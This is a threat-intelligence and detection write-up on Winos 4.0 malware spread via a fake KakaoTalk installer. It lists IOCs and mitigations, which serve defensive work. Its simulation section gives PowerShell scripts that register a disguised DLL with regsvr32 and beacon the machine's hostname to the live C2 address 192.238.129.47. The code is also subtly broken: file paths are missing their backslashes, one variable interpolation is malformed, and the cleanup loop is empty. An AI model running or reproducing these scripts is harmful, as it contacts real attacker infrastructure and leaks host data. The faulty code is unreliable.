Winos 4.0 Malware Masquerading as a KakaoTalk Installer

Summary

Attackers abused SEO poisoning to push a fake KakaoTalk installer to the top of search results. The installer carried an invalid code-signing certificate and embedded an NSIS package that unpacked malicious files including Verifier.exe and AutoRecoverDat.dll. Once executed, the malware achieved persistence through DLL registration, scheduled tasks, and a mutex, then connected to two separate C2 servers. Its capabilities included screen capture, system profiling, and in-memory execution of additional payloads.

Investigation

The AhnLab Security Intelligence Center reported more than 5,000 compromised PCs after the campaign began on March 9. Analysis showed that encrypted NSIS payloads decrypt and drop Verifier.exe and AutoRecoverDat.dll, create a mutex, and load shellcode from GPUCache.xml files. Depending on the shellcode branch, the malware contacted C2 infrastructure at 192.238.129.47 or 119.28.70.225. Persistence was maintained via DLL registration and scheduled tasks launching either Verifier.exe or rundll32 with the malicious DLL.

Mitigation

Organizations should block the malicious domains and download URLs associated with the campaign. Enforce strict code-signing validation and prevent execution of binaries carrying invalid certificates. Application allowlisting should be used to block unknown NSIS installers from running. Security teams should also monitor for the specific mutex, suspicious scheduled tasks, and registry changes outlined in the report.

Response

Detection teams should alert on creation of the mutex 77825d8f-46d1-42d0-b298-83068bf9e31d and scheduled tasks under Microsoft\Windows\AppID. Hunt for Verifier.exe and AutoRecoverDat.dll within user profile directories, and block outbound traffic to the known C2 IPs and ports. Perform forensic review of affected systems and fully remove all persistence artifacts and malicious components.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative must directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  The adversary has already placed malicious DLLs inside the %LOCALAPPDATA%MicrosoftWindowsGPUCache directory, masquerading as legitimate cache files. To execute the payload, the attacker leverages Regsvr32 (T1218.012) to load the DLL, then uses the loaded component to initiate C2 communication over TCP port 18852 (or HTTPS port 443) to the hard‑coded server 192.238.129.47. This network flow is the observable indicator the Sigma rule watches.

  1. Load malicious DLL via Regsvr32

     regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"

  2. Initiate C2 beacon (the malicious DLL opens a TCP socket to the C2 server). For testing, we emulate the beacon with a simple PowerShell TCP client that connects to the same IP/port.

     $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
     $stream = $c2.GetStream()
     $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
     $stream.Write($payload,0,$payload.Length)
     $stream.Close()
     $c2.Close()

• Regression Test Script: The following script reproduces the above steps end‑to‑end and will generate the exact network telemetry the Sigma rule expects.

  # -------------------------------------------------
  # Winos4.0 C2 Simulation – triggers Sigma rule
  # -------------------------------------------------
  # 1. Load the malicious (simulated) DLL via Regsvr32
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Write-Host "[*] Registering malicious DLL via Regsvr32..."
      regsvr32 /s $dllPath
  } else {
      Write-Error "[-] Simulated DLL not found at $dllPath – aborting."
      exit 1
  }
  
  # 2. Emulate C2 beacon to the hard‑coded IP/port
  $c2IP   = '192.238.129.47'
  $c2Port = 18852
  
  Write-Host "[*] Establishing TCP connection to $c2IP:$c2Port ..."
  try {
      $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
      $stream = $client.GetStream()
      $msg    = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)"
      $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
      $stream.Write($bytes,0,$bytes.Length)
      Write-Host "[+] Beacon sent."
  } catch {
      Write-Error "[-] Connection failed: $_"
  } finally {
      if ($stream) { $stream.Close() }
      if ($client) { $client.Close() }
  }
  # -------------------------------------------------

• Cleanup Commands: Remove any temporary artifacts and close lingering connections.

  # Remove the simulated malicious DLL (if it was a test artifact)
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Remove-Item -Path $dllPath -Force
      Write-Host "[*] Cleaned up simulated DLL."
  }
  
  # Ensure no orphaned TCP listeners remain (unlikely for client‑side only)
  Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
      # No action needed; connections are closed in the script.
  }